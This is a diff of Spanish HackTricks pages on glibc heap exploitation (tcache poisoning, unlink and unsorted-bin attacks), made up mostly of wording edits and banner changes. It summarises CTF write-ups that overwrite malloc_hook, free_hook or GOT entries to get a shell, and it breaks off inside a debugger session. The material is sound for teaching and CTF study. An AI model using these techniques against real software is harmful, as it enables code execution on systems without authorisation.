* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* ¡Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
|
@ -24,13 +25,13 @@ Para obtener más información sobre qué es un bin Tcache, consulta esta págin
|
|||
|
||||
En primer lugar, ten en cuenta que el Tcache fue introducido en la versión 2.26 de Glibc.
|
||||
|
||||
El **ataque Tcache** (también conocido como **envenenamiento Tcache**) propuesto en la [página de **guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) es muy similar al ataque de fast bin donde el objetivo es sobrescribir el puntero al siguiente chunk en el bin dentro de un chunk liberado a una dirección arbitraria para luego **asignar esa dirección específica y potencialmente sobrescribir punteros**.
|
||||
El **ataque Tcache** (también conocido como **envenenamiento Tcache**) propuesto en la [**página guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) es muy similar al ataque de fast bin donde el objetivo es sobrescribir el puntero al siguiente chunk en el bin dentro de un chunk liberado a una dirección arbitraria para luego **asignar esa dirección específica y potencialmente sobrescribir punteros**.
|
||||
|
||||
Sin embargo, en la actualidad, si ejecutas el código mencionado, obtendrás el error: **`malloc(): unaligned tcache chunk detected`**. Por lo tanto, es necesario escribir una dirección alineada en el nuevo puntero (o ejecutar suficientes veces el binario para que la dirección escrita esté realmente alineada).
|
||||
|
||||
### Ataque a índices Tcache
|
||||
|
||||
Por lo general, es posible encontrar al principio del heap un chunk que contiene la **cantidad de chunks por índice** dentro del tcache y la dirección del **chunk principal de cada índice de tcache**. Si por alguna razón es posible modificar esta información, sería posible **hacer que el chunk principal de algún índice apunte a una dirección deseada** (como `__malloc_hook`) para luego asignar un chunk del tamaño del índice y sobrescribir el contenido de `__malloc_hook` en este caso.
|
||||
Por lo general, al principio del heap es posible encontrar un chunk que contiene la **cantidad de chunks por índice** dentro del tcache y la dirección del **chunk principal de cada índice del tcache**. Si por alguna razón es posible modificar esta información, sería posible **hacer que el chunk principal de algún índice apunte a una dirección deseada** (como `__malloc_hook`) para luego asignar un chunk del tamaño del índice y sobrescribir el contenido de `__malloc_hook` en este caso.
|
||||
|
||||
## Ejemplos
|
||||
|
||||
|
@ -39,21 +40,31 @@ Por lo general, es posible encontrar al principio del heap un chunk que contiene
|
|||
* **Ataque Tcache**: El binario es vulnerable a un desbordamiento de heap de 1B. Esto se abusará para cambiar el **encabezado de tamaño** de un chunk asignado haciéndolo más grande. Luego, este chunk será **liberado**, agregándolo al tcache de chunks del tamaño falso. Luego, asignaremos un chunk con el tamaño falsificado, y el chunk anterior será **devuelto sabiendo que este chunk era en realidad más pequeño** y esto nos brinda la oportunidad de **sobrescribir el siguiente chunk en memoria**.\
|
||||
Esto se abusará para **sobrescribir el puntero FD del siguiente chunk** para que apunte a **`malloc_hook`**, por lo que luego es posible asignar 2 punteros: primero el puntero legítimo que acabamos de modificar, y luego la segunda asignación devolverá un chunk en **`malloc_hook`** que es posible abusar para escribir un **gadget único**.
|
||||
* CTF [https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html)
|
||||
* **Fuga de información de Libc**: Hay un uso después de liberar y una doble liberación. En este análisis, el autor filtró una dirección de libc leyendo la dirección de un chunk colocado en un bin pequeño (como filtrarlo del bin no ordenado pero del pequeño).
|
||||
* **Fuga de información de Libc**: Hay un uso después de liberar y una doble liberación. En este writeup, el autor filtró una dirección de libc leyendo la dirección de un chunk colocado en un bin pequeño (como filtrarlo desde el bin no ordenado pero desde el pequeño).
|
||||
* **Ataque Tcache**: Se realiza un Tcache a través de una **doble liberación**. El mismo chunk se libera dos veces, por lo que dentro del Tcache el chunk apuntará a sí mismo. Luego, se asigna, se modifica su puntero FD para que apunte al **gancho de liberación** y luego se asigna nuevamente para que el siguiente chunk en la lista esté en el gancho de liberación. Luego, esto también se asigna y es posible escribir la dirección de `system` aquí, por lo que cuando se libera un malloc que contiene `"/bin/sh"` obtenemos una shell.
|
||||
* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html)
|
||||
* La principal vulnerabilidad aquí es la capacidad de `liberar` cualquier dirección en el heap indicando su desplazamiento
|
||||
* **Ataque a índices Tcache**: Es posible asignar y liberar un chunk de un tamaño que, cuando se almacena dentro del chunk de tcache (el chunk con la información de los bins de tcache), generará una **dirección con el valor 0x100**. Esto se debe a que el tcache almacena la cantidad de chunks en cada bin en bytes diferentes, por lo tanto, un chunk en un índice específico genera el valor 0x100.
|
||||
* **Ataque a índices Tcache**: Es posible asignar y liberar un chunk de un tamaño que, cuando se almacena dentro del chunk tcache (el chunk con la información de los bins tcache), generará una **dirección con el valor 0x100**. Esto se debe a que el tcache almacena la cantidad de chunks en cada bin en bytes diferentes, por lo tanto, un chunk en un índice específico genera el valor 0x100.
|
||||
* Luego, este valor parece que hay un chunk de tamaño 0x100. Permitiendo abusar de él al `liberar` esta dirección. Esto **agregará esa dirección al índice de chunks de tamaño 0x100 en el tcache**.
|
||||
* Luego, **asignar** un chunk de tamaño **0x100**, la dirección anterior se devolverá como un chunk, lo que permite sobrescribir otros índices de tcache.\
|
||||
* Luego, **asignar** un chunk de tamaño **0x100**, la dirección anterior se devolverá como un chunk, lo que permite sobrescribir otros índices tcache.\
|
||||
Por ejemplo, colocar la dirección de malloc hook en uno de ellos y asignar un chunk del tamaño de ese índice otorgará un chunk en el gancho de calloc, lo que permite escribir un gadget único para obtener una shell.
|
||||
* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html)
|
||||
* Misma vulnerabilidad que antes con una restricción adicional
|
||||
* **Ataque a índices Tcache**: Ataque similar al anterior pero usando menos pasos al **liberar el chunk que contiene la información del tcache** para que su dirección se agregue al índice de tcache de su tamaño, por lo que es posible asignar ese tamaño y obtener la información del chunk de tcache como un chunk, lo que permite agregar el gancho de liberación como la dirección de un índice, asignarlo y escribir un gadget único en él.
|
||||
* [**Puerta Matemática. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
|
||||
* **Ataque a índices Tcache**: Ataque similar al anterior pero usando menos pasos al **liberar el chunk que contiene la información del tcache** para que su dirección se agregue al índice tcache de su tamaño, por lo que es posible asignar ese tamaño y obtener la información del chunk tcache como un chunk, lo que permite agregar el gancho de liberación como la dirección de un índice, asignarlo y escribir un gadget único en él.
|
||||
* [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
|
||||
* **Write After Free** para agregar un número al puntero `fd`.
|
||||
* Se necesita mucho **heap feng-shui** en este desafío. El análisis muestra cómo **controlar la cabeza de la lista libre de Tcache** es bastante útil.
|
||||
* Se necesita mucho **heap feng-shui** en este desafío. El writeup muestra cómo **controlar la cabeza de la lista libre del Tcache** es bastante útil.
|
||||
* **Fuga de Glibc** a través de `stdout` (FSOP).
|
||||
* **Envenenamiento Tcache** para obtener un primitivo de escritura arbitraria.
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¡Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) de Github.
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Ataque Unlink
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
|
@ -119,7 +120,7 @@ Como potencialmente el usuario también puede leer/escribir las otras asignacion
|
|||
* `fake_chunk->fd->bk` = `fake_chunk->bk`
|
||||
* `fake_chunk->bk->fd` = `fake_chunk->fd`
|
||||
* Anteriormente se hizo que `fake_chunk->fd->bk` y `fake_chunk->bk->fd` apunten al mismo lugar (la ubicación en la pila donde se almacenaba `chunk1`, por lo que era una lista enlazada válida). Como **ambos apuntan a la misma ubicación**, solo el último (`fake_chunk->bk->fd = fake_chunk->fd`) tendrá **efecto**.
|
||||
* Esto **sobrescribirá el puntero a chunk1 en la pila por la dirección (o bytes) almacenados 3 direcciones antes en la pila**.
|
||||
* Esto **sobrescribirá el puntero a chunk1 en la pila a la dirección (o bytes) almacenados 3 direcciones antes en la pila**.
|
||||
* Por lo tanto, si un atacante pudiera controlar nuevamente el contenido de chunk1, podrá **escribir dentro de la pila** pudiendo potencialmente sobrescribir la dirección de retorno saltando el canary y modificar los valores y puntos de las variables locales. Incluso modificando nuevamente la dirección de chunk1 almacenada en la pila a una ubicación diferente donde si el atacante pudiera controlar nuevamente el contenido de chunk1 podrá escribir en cualquier lugar.
|
||||
* Tenga en cuenta que esto fue posible porque las **direcciones se almacenan en la pila**. El riesgo y la explotación pueden depender de **dónde se almacenan las direcciones del chunk falso**.
|
||||
|
||||
|
@ -128,24 +129,25 @@ Como potencialmente el usuario también puede leer/escribir las otras asignacion
|
|||
## Referencias
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
|
||||
* Aunque sería extraño encontrar un ataque de desvinculación incluso en un CTF, aquí tienes algunos writeups donde se utilizó este ataque:
|
||||
* Aunque sería extraño encontrar un ataque de unlink incluso en un CTF, aquí tienes algunos writeups donde se utilizó este ataque:
|
||||
* Ejemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
|
||||
* En este ejemplo, en lugar de la pila hay un array de direcciones malloc'ed. El ataque de desvinculación se realiza para poder asignar un chunk aquí, por lo tanto, pudiendo controlar los punteros del array de direcciones malloc'ed. Luego, hay otra funcionalidad que permite modificar el contenido de los chunks en estas direcciones, lo que permite apuntar direcciones a la GOT, modificar direcciones de funciones para obtener filtraciones de libc y RCE.
|
||||
* En este ejemplo, en lugar de la pila hay un array de direcciones malloc'ed. El ataque de unlink se realiza para poder asignar un chunk aquí, por lo tanto, pudiendo controlar los punteros del array de direcciones malloc'ed. Luego, hay otra funcionalidad que permite modificar el contenido de los chunks en estas direcciones, lo que permite apuntar direcciones a la GOT, modificar direcciones de funciones para obtener filtraciones y RCE.
|
||||
* Otro ejemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
|
||||
* Al igual que en el ejemplo anterior, hay un array de direcciones de asignaciones. Es posible realizar un ataque de desvinculación para hacer que la dirección de la primera asignación apunte a algunas posiciones antes de comenzar el array y luego sobrescribir esta asignación en la nueva posición. Por lo tanto, es posible sobrescribir punteros de otras asignaciones para apuntar a la GOT de atoi, imprimirla para obtener una filtración de libc y luego sobrescribir la GOT de atoi con la dirección a un one gadget.
|
||||
* Ejemplo de CTF con funciones malloc y free personalizadas que abusan de una vulnerabilidad muy similar al ataque de desvinculación: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
|
||||
* Al igual que en el ejemplo anterior, hay un array de direcciones de asignaciones. Es posible realizar un ataque de unlink para hacer que la dirección de la primera asignación apunte a algunas posiciones antes de comenzar el array y luego sobrescribir esta asignación en la nueva posición. Por lo tanto, es posible sobrescribir punteros de otras asignaciones para apuntar a la GOT de atoi, imprimirla para obtener una filtración de libc y luego sobrescribir atoi GOT con la dirección a un one gadget.
|
||||
* Ejemplo de CTF con funciones malloc y free personalizadas que abusan de una vulnerabilidad muy similar al ataque de unlink: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
|
||||
* Hay un desbordamiento que permite controlar los punteros FD y BK de malloc personalizado que se liberará (personalizado). Además, el heap tiene el bit exec, por lo que es posible filtrar una dirección de heap y apuntar una función de la GOT a un chunk de heap con un shellcode para ejecutar.
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**oficial mercancía de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Ataque al Bin No Ordenado
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
|
@ -24,29 +25,29 @@ Para obtener más información sobre qué es un bin no ordenado, consulta esta p
|
|||
|
||||
Las listas no ordenadas pueden escribir la dirección en `unsorted_chunks (av)` en la dirección `bk` del fragmento. Por lo tanto, si un atacante puede **modificar la dirección del puntero `bk`** en un fragmento dentro del bin no ordenado, podría ser capaz de **escribir esa dirección en una dirección arbitraria** que podría ser útil para filtrar direcciones de Glibc o evitar alguna defensa.
|
||||
|
||||
Por lo tanto, básicamente, este ataque permite **establecer un número grande en una dirección arbitraria**. Este número grande es una dirección, que podría ser una dirección de heap o una dirección de Glibc. Un objetivo típico es **`global_max_fast`** para permitir crear bins rápidos con tamaños más grandes (y pasar de un ataque al bin no ordenado a un ataque al bin rápido).
|
||||
Por lo tanto, básicamente, este ataque permite **establecer un número grande en una dirección arbitraria**. Este número grande es una dirección, que podría ser una dirección de heap o una dirección de Glibc. Un objetivo típico es **`global_max_fast`** para permitir crear bins de fast bin con tamaños más grandes (y pasar de un ataque de bin no ordenado a un ataque de fast bin).
|
||||
|
||||
{% hint style="success" %}
|
||||
Observando el ejemplo proporcionado en [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle) y utilizando 0x4000 y 0x5000 en lugar de 0x400 y 0x500 como tamaños de fragmento (para evitar Tcache) es posible ver que **actualmente** se desencadena el error **`malloc(): unsorted double linked list corrupted`**.
|
||||
Al observar el ejemplo proporcionado en [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle) y usando 0x4000 y 0x5000 en lugar de 0x400 y 0x500 como tamaños de fragmento (para evitar Tcache), es posible ver que **en la actualidad** se desencadena el error **`malloc(): unsorted double linked list corrupted`**.
|
||||
|
||||
Por lo tanto, este ataque al bin no ordenado ahora (entre otras comprobaciones) también requiere poder arreglar la lista doble enlazada para que esto se evite `victim->bk->fd == victim` o no `victim->fd == av (arena)`, lo que significa que la dirección donde queremos escribir debe tener la dirección del fragmento falso en su posición `fd` y que el `fd` del fragmento falso apunta a la arena.
|
||||
Por lo tanto, este ataque de bin no ordenado ahora (entre otras comprobaciones) también requiere poder arreglar la lista doble enlazada para que se salte esto `victim->bk->fd == victim` o no `victim->fd == av (arena)`, lo que significa que la dirección donde queremos escribir debe tener la dirección del fragmento falso en su posición `fd` y que el `fd` del fragmento falso apunta a la arena.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ten en cuenta que este ataque corrompe el bin no ordenado (por lo tanto, también el pequeño y el grande). Por lo tanto, ahora solo podemos **utilizar asignaciones del bin rápido** (un programa más complejo podría hacer otras asignaciones y fallar), y para desencadenar esto debemos **asignar el mismo tamaño o el programa fallará**.
|
||||
Ten en cuenta que este ataque corrompe el bin no ordenado (por lo tanto, también el pequeño y el grande). Por lo tanto, ahora solo podemos **utilizar asignaciones del fast bin** (un programa más complejo podría hacer otras asignaciones y fallar), y para desencadenar esto debemos **asignar el mismo tamaño o el programa fallará**.
|
||||
|
||||
Ten en cuenta que sobrescribir **`global_max_fast`** podría ayudar en este caso confiando en que el bin rápido podrá encargarse de todas las demás asignaciones hasta que se complete el exploit.
|
||||
Ten en cuenta que sobrescribir **`global_max_fast`** podría ayudar en este caso confiando en que el fast bin podrá encargarse de todas las demás asignaciones hasta que se complete el exploit.
|
||||
{% endhint %}
|
||||
|
||||
El código de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/unsorted\_explanation/index.html) lo explica muy bien, aunque si modificas las asignaciones de memoria para asignar memoria lo suficientemente grande para que no termine en un Tcache, verás que aparece el error mencionado anteriormente que evita esta técnica: **`malloc(): unsorted double linked list corrupted`**
|
||||
El código de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/unsorted\_explanation/index.html) lo explica muy bien, aunque si modificas las asignaciones de memoria para asignar memoria lo suficientemente grande para que no termine en un Tcache, puedes ver que aparece el error mencionado anteriormente que evita esta técnica: **`malloc(): unsorted double linked list corrupted`**
|
||||
|
||||
## Ataque de Fuga de Información del Bin No Ordenado
|
||||
|
||||
Este es en realidad un concepto muy básico. Los fragmentos en el bin no ordenado van a tener punteros. El primer fragmento en el bin no ordenado realmente tendrá los enlaces **`fd`** y **`bk`** **apuntando a una parte de la arena principal (Glibc)**.\
|
||||
Por lo tanto, si puedes **poner un fragmento dentro de un bin no ordenado y leerlo** (uso después de liberar) o **asignarlo nuevamente sin sobrescribir al menos 1 de los punteros** para luego **leerlo**, puedes obtener una **fuga de información de Glibc**.
|
||||
Por lo tanto, si puedes **colocar un fragmento dentro de un bin no ordenado y leerlo** (uso después de liberar) o **asignarlo nuevamente sin sobrescribir al menos 1 de los punteros** para luego **leerlo**, puedes obtener una **fuga de información de Glibc**.
|
||||
|
||||
Un [**ataque similar utilizado en este informe**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html), consistió en abusar de una estructura de 4 fragmentos (A, B, C y D - D es solo para evitar la consolidación con el fragmento superior) por lo que se utilizó un desbordamiento de byte nulo en B para hacer que C indicara que B no se estaba utilizando. Además, en B se modificó los datos de `prev_size` para que el tamaño en lugar de ser el tamaño de B fuera A+B.\
|
||||
Luego se desasignó C y se consolidó con A+B (pero B aún estaba en uso). Se asignó un nuevo fragmento de tamaño A y luego las direcciones filtradas de Glibc se escribieron en B desde donde se filtraron.
|
||||
Luego se desasignó C y se consolidó con A+B (pero B aún estaba en uso). Se asignó un nuevo fragmento de tamaño A y luego se escribieron las direcciones filtradas de Glibc en B desde donde se filtraron.
|
||||
|
||||
## Referencias y Otros ejemplos
|
||||
|
||||
|
@ -54,15 +55,15 @@ Luego se desasignó C y se consolidó con A+B (pero B aún estaba en uso). Se as
|
|||
* El objetivo es sobrescribir una variable global con un valor mayor que 4869 para poder obtener la bandera y PIE no está habilitado.
|
||||
* Es posible generar fragmentos de tamaños arbitrarios y hay un desbordamiento de heap con el tamaño deseado.
|
||||
* El ataque comienza creando 3 fragmentos: fragmento0 para abusar del desbordamiento, fragmento1 para ser desbordado y fragmento2 para que el fragmento superior no consolide los anteriores.
|
||||
* Luego, se libera el fragmento1 y se desborda el fragmento0 para que el puntero `bk` del fragmento1 apunte a: `bk = mágico - 0x10`
|
||||
* Luego, se asigna el fragmento3 con el mismo tamaño que el fragmento1, lo que desencadenará el ataque al bin no ordenado y modificará el valor de la variable global, haciendo posible obtener la bandera.
|
||||
* Luego, se libera el fragmento1 y se desborda el fragmento0 para que el puntero `bk` del fragmento1 apunte a: `bk = magic - 0x10`
|
||||
* Luego, se asigna el fragmento3 con el mismo tamaño que el fragmento1, lo que desencadenará el ataque al bin no ordenado y modificará el valor de la variable global, lo que hace posible obtener la bandera.
|
||||
* [**https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html)
|
||||
* La función de fusión es vulnerable porque si ambos índices pasados son iguales, se realocará en él y luego se liberará, pero devolviendo un puntero a esa región liberada que se puede utilizar.
|
||||
* Por lo tanto, se crean **2 fragmentos**: **fragmento0** que se fusionará consigo mismo y fragmento1 para evitar la consolidación con el fragmento superior. Luego, se llama a la **función de fusión con el fragmento0** dos veces lo que causará un uso después de liberar.
|
||||
* Por lo tanto, se crean **2 fragmentos**: **fragmento0** que se fusionará consigo mismo y fragmento1 para evitar la consolidación con el fragmento superior. Luego, se llama a la **función de fusión con el fragmento0** dos veces, lo que causará un uso después de liberar.
|
||||
* Luego, se llama a la función **`view`** con el índice 2 (que es el índice del fragmento de uso después de liberar), lo que **filtrará una dirección de Glibc**.
|
||||
* Como el binario tiene protecciones para asignar solo tamaños mayores que **`global_max_fast`** para que no se use un fastbin, se utilizará un ataque al bin no ordenado para sobrescribir la variable global `global_max_fast`.
|
||||
* Luego, es posible llamar a la función de edición con el índice 2 (el puntero de uso después de liberar) y sobrescribir el puntero `bk` para que apunte a `p64(global_max_fast-0x10)`. Luego, al crear un nuevo fragmento, se usará la dirección de liberación comprometida anteriormente (0x20) lo que **desencadenará el ataque al bin no ordenado** sobrescribiendo el `global_max_fast` con un valor muy grande, permitiendo ahora crear fragmentos en bins rápidos.
|
||||
* Ahora se realiza un **ataque al bin rápido**:
|
||||
* Como el binario tiene protecciones para asignar solo tamaños mayores que **`global_max_fast`** para que no se use fastbin, se utilizará un ataque al bin no ordenado para sobrescribir la variable global `global_max_fast`.
|
||||
* Luego, es posible llamar a la función de edición con el índice 2 (el puntero de uso después de liberar) y sobrescribir el puntero `bk` para que apunte a `p64(global_max_fast-0x10)`. Luego, al crear un nuevo fragmento, se usará la dirección de liberación comprometida anteriormente (0x20) y se **desencadenará el ataque al bin no ordenado** sobrescribiendo el `global_max_fast` con un valor muy grande, lo que ahora permite crear fragmentos en los bins rápidos.
|
||||
* Ahora se realiza un **ataque al fast bin**:
|
||||
* En primer lugar, se descubre que es posible trabajar con **fragmentos rápidos de tamaño 200** en la ubicación de **`__free_hook`**:
|
||||
* <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
